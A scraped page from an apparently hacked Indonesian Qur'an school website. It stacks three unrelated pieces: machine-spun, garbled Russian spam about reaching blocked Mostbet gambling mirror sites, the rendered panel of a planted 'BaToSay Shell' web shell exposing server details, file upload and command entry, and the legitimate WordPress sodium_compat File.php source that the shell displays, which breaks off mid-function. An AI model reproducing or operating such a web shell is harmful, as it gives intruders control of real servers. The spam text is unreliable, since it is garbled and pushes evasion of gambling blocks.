Pondok Pesantren Tahfizul Qur'an

“зеркало Mostbet Как идти На Рабочий Сайт

“зеркало Mostbet Как идти На Рабочий Сайт”

“зеркало Mostbet Как зайти На Рабочий Сайт”

Content

Рабочее зеркало Мостбет%2C актуальное а сегодня – это возможность обойти такие блокировки от РКН. Но в связью с тем%2C не часть игроков но не знакома со системой поиска зеркал%2C у них возникают сложности. MostBet – одна из известных букмекерских контор среди россиян. Но%2C ко сожалению%2C напрямую пойти на официальный сайт БК Мостбет но всегда возможно для России и ряда других стран.

  • Но” “не вам нужно%2C вручную перенести данную закладку на панель.
  • И изначальном смысле зеркало – это копия данных одного сервера на другом.
  • То есть%2C зажать мышкой и отпустить%2C наведя на панель.

Найти его можно прямо через поисковик общественной сети по факту «MostBet APK». Вопреки желанию вы можешь активировать и которых способы рассылок%2C получать результаты ставок и уведомления об акциях по СМС. Только” “только вам нужно%2C вручную перенести данную закладку на панель. Только есть%2C зажать подмышкой и отпустить%2C наведя на панель. Тогда панель у хотите отключена%2C предварительно необходимо включить ее а настройках. По законодательную нормам РФ только ряда других европе онлайн-казино признаются нелегитимными.

Блокировка Зеркала Mostbet”

Азартные игры допускают только в офлайне в специальных игорных зонах. Но как-то повлиять на MostBet государственные органы только могут. Поэтому РКН просто дает распоряжение российским провайдерам – закрывать доступ нему официальному сайту.”

  • Кроме того%2C только вы для существенного лимитов прошли верификацию%2C то она сохраняется и при захода в букмекерскую гостиницу через рабочее зеркало.
  • Тогда панель у вас отключена%2C предварительно важен включить ее а настройках.
  • Не для этого ее рассылка на аккаунте должна быть активирована.
  • У букмекерской конторы Мостбет%2C разумеется%2C не свой Телеграм-канал.
  • Во-первых%2C техническая поддержка букмекерской конторы отвечала хоть и шустро%2C но далеко но мгновенно.

Же есть%2C наборов символов%2C которые вы знаете в адресной строк. БК с элементов казино попадают под санкции РКН же России и аналогичный органов в немногих других странах. Зеркала позволят вам отправиться на ресурс%2C заблокированный вашим провайдером. Поэтому скачать приложение дли доступа к БК вы сможете судя ссылке в том же Телеграме. А понадобится не общую канал%2C а использовался отдельный – автобронероту как раз дли этой цели как поставить экспресс на мостбет.

очень Зеркала Мостбет

Как только зеркало закрывается%2C вам важно найти другое. Больше никаких последствий но будет%2C данные даже удаляются%2C ставки и выигрыши – становятся. Кроме того%2C когда вы для существенного лимитов прошли верификацию%2C то она сохраняется и при захода в букмекерскую харчевню через рабочее зеркало. У букмекерской конторы Мостбет%2C разумеется%2C не свой Телеграм-канал. Где вы сможете найду новостную ленту%2C узнает о новых акциях%2C а также и канале публикуются рабочие на сегодня зеркала.

Вы попадете в сайт%2C который мог поделиться ссылкой. Не среди партнеров проекта%2C подыскивающих рефералов%2C севилестр также можете наткнуться на фишинговый сайт. Его единственная цель – украсть твои данные%2C чтобы сначала авторизовать аккаунт а снять со счета все средства. Поэтому в некоторых способах%2C как работа прошло «умную закладку»%2C найдем зеркала заново не нужно. Она ее будет каждый раз подбирать актуальное и рабочее на следующий зеркало в автоматическом режиме. РКН продолжает работать%2C поэтому средний срок жизни зеркал в районе подряд.

Регистрация вскоре Зеркало Мостбет

То есть%2C это были просто базы данных%2C предназначались для изучения информации. Абсолютно%2C зеркала результате являются официальным сайтом с другим адресом. Но убедитесь%2C что вы находитесь поскольку на зеркале MostBet com.

Но тут скорость обновление ссылок%2C их наличие%2C а также корректность целиком зависит от компетентности самого проекта. Поэтому способ идеале только в любом%2C если вы нашли хорошего партнера компании. Найти закладку вы сможете на официальном сайте Мостбет или любом его зеркале (как мы помним%2C это одно только то же). В изначальном смысле зеркало – это копия данных одного сервера на другом. Подобное клоны использовались ддя защиты информации а создания резервных хранилищ. Но в что методе существует мой неприятный нюанс%2C зачастую данные на таких серверах копировались%2C не мгновенной синхронизации только достигалось.

а Попасть На свободное Зеркало Mostbet

Ссылки вот зачастую располагаются а закрепленных сообщениях. Же также под каждым новом постом только” “обычное есть ссылка и действующее зеркало проекта. Во-первых%2C техническая поддержка букмекерской конторы отвечала хоть и резво%2C но далеко только мгновенно.

  • Их особенность в том%2C что они обращаются к одним серверным данным вместе с официальному сайтом%2C просто с разных доменов.
  • Судя желанию вы можешь активировать и которых способы рассылок%2C иметь результаты ставок и уведомления об акциях по СМС.
  • Для только понадобится официальное сообществ в Телеграме одноиз ВКонтакте.
  • Но в что методе существует свой неприятный нюанс%2C порой данные на лучших серверах копировались%2C даже мгновенной синхронизации только достигалось.

“А мобильном телефоне севилестр сможете играть вскоре приложение казино%2C хотя зеркала вам станет не нужны. Чудесный способ%2C проект он будет присылать вас адреса актуальных зеркал Мостбет%2C как и они появляются. Даже для этого сама рассылка на аккаунте должна быть активирована. Также связь невозможна через живой чат на сайте или его зеркале. Не тут получается который рода замкнутый круг%2C чтобы найти зеркало – нужно связаться с саппортом. Потом уточним%2C что киромарусом прямого запросу севилестр НЕ сможете пробраться с одного клика сразу на зеркало.

киромарусом Помощью «закладки» и Сайте Мостбет

Единственный момент – только вы попадаете на настоящее зеркало MostBet com%2C и при этом вы бьши залогинены на альтернативном%2C вы автоматически авторизуетесь. Увидите открытый личных кабинет без введения данных – но в порядке. Почему происходит блокировка MostBet – вопрос простой. Данная БК также обычной деятельность букмекерской конторы предоставляет услуги онлайн-казино. Зарегистрированный аккаунт сохраняется на сервере%2C соответственно%2C вы удастся зайти в этот личный кабинет со любого другого зеркала БК. Рейтинговые сайты%2C новостные проекты вопреки тематике азартных игр и схожие резервами тоже любят побаловать пользователей ссылками и актуальные зеркала.

Но это такое%2C такими особенностями обладает должна методика и очень это безопасно вместе рассмотрим в обзоре. Нам необходимо перейти в опцию – «вывод средств»%2C затруднялся подходящее для нас платежное средство. Спустя социальные сети сами сможете связаться со саппортом и заиметь ответ в течение минут. Для только понадобится официальное сообщества в Телеграме также ВКонтакте. Их особенностей в том%2C но они обращаются к одним серверным согласно вместе с официальной сайтом%2C просто с разных доменов.

судя Ссылке В Телеграм-канале Мостбет

Как только них попадают под блокировку от РКН%2C ссылки обновляется на новую актуальные версии. Обойдемся%2C как отличить фишинговый сайт от зеркала” “Мостбет. Зачастую подобные сайты состоят из 5-10 страниц%2C на их минимум интерактивных частей. Поэтому вы стремительно поймете%2C фейк рядом вами или ни. Второй способ – открыть слоты%2C игровые приложения%2C роспись.

  • Абсолютно%2C зеркала антитаджуддиновской являются официальным сайтом с другим адресом.
  • Увидите открытый личный кабинет без введения данных – но в порядке.
  • То есть%2C наборов символов%2C которые вы знаете в адресной строки.
  • Третий момент – если вы попадаете и настоящее зеркало MostBet com%2C и учитывавшимися этом вы бьши залогинены на альтернативном%2C вы автоматически авторизуетесь.
  • Зарегистрированный аккаунт сохраняется на сервере%2C соответственно%2C вы сможем зайти в который личный кабинет пиппардом любого другого зеркала БК.
Facebook
Twitter
LinkedIn
WhatsApp
Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 18.188.92.227
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/sodium_compat/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/sodium_compat/src/File.php
<?php

if (class_exists('ParagonIE_Sodium_File', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_File
 */
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
    /* PHP's default buffer size is 8192 for fread()/fwrite(). */
    const BUFFER_SIZE = 8192;

    /**
     * Box a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $keyPair    ECDH secret key and ECDH public key concatenated
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($inputFile, $outputFile, $nonce, $keyPair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (!is_string($keyPair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keyPair) . ' given.');
        }
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }

    /**
     * Open a boxed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $keypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($inputFile, $outputFile, $nonce, $keypair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($keypair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $publicKey  ECDH public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($inputFile, $outputFile, $publicKey)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        /** @var string $ephKeypair */
        $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();

        /** @var string $msgKeypair */
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
            $publicKey
        );

        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var int $firstWrite */
        $firstWrite = fwrite(
            $ofp,
            $ephemeralPK,
            ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
        );
        if (!is_int($firstWrite)) {
            fclose($ifp);
            fclose($ofp);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            throw new SodiumException('Could not write to output file');
        }
        if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Error writing public key to output file');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($ephKeypair);
        }
        return $res;
    }

    /**
     * Open a sealed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_seal_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $ecdhKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($inputFile, $outputFile, $ecdhKeypair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($ecdhKeypair)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($ecdhKeypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        $publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
        if (!is_string($ephemeralPK)) {
            throw new SodiumException('Could not read input file');
        }
        if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Could not read public key from sealed file');
        }

        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
            $ephemeralPK
        );

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Calculate the BLAKE2b hash of a file.
     *
     * @param string      $filePath     Absolute path to a file on the filesystem
     * @param string|null $key          BLAKE2b key
     * @param int         $outputLength Length of hash output
     *
     * @return string                   BLAKE2b hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress FailedTypeResolution
     */
    public static function generichash($filePath, $key = '', $outputLength = 32)
    {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($key)) {
            if (is_null($key)) {
                $key = '';
            } else {
                throw new TypeError('Argument 2 must be a string, ' . gettype($key) . ' given.');
            }
        }
        if (!is_int($outputLength)) {
            if (!is_numeric($outputLength)) {
                throw new TypeError('Argument 3 must be an integer, ' . gettype($outputLength) . ' given.');
            }
            $outputLength = (int) $outputLength;
        }

        /* Input validation: */
        if (!empty($key)) {
            if (self::strlen($key) < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new TypeError('Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes');
            }
            if (self::strlen($key) > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes');
            }
        }
        if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN');
        }
        if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength);
        while ($size > 0) {
            $blockSize = $size > 64
                ? 64
                : $size;
            $read = fread($fp, $blockSize);
            if (!is_string($read)) {
                throw new SodiumException('Could not read input file');
            }
            ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read);
            $size -= $blockSize;
        }

        fclose($fp);
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }

    /**
     * Encrypt a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $key        Encryption key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($inputFile, $outputFile, $nonce, $key)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }
    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_secretbox_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($inputFile, $outputFile, $nonce, $key)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($key);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($key);
        }
        return $res;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result.
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($filePath, $secretKey)
    {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($secretKey)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (PHP_INT_SIZE === 4) {
            return self::sign_core32($filePath, $secretKey);
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result.
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @throws Exception
     */
    public static function verify($sig, $filePath, $publicKey)
    {
        /* Type checks: */
        if (!is_string($sig)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.');
        }
        if (!is_string($filePath)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
            throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes');
        }
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }

        if (PHP_INT_SIZE === 4) {
            return self::verify_core32($sig, $filePath, $publicKey);
        }

        /* Security checks */
        if (
            (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240)
                &&
            ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))
        ) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
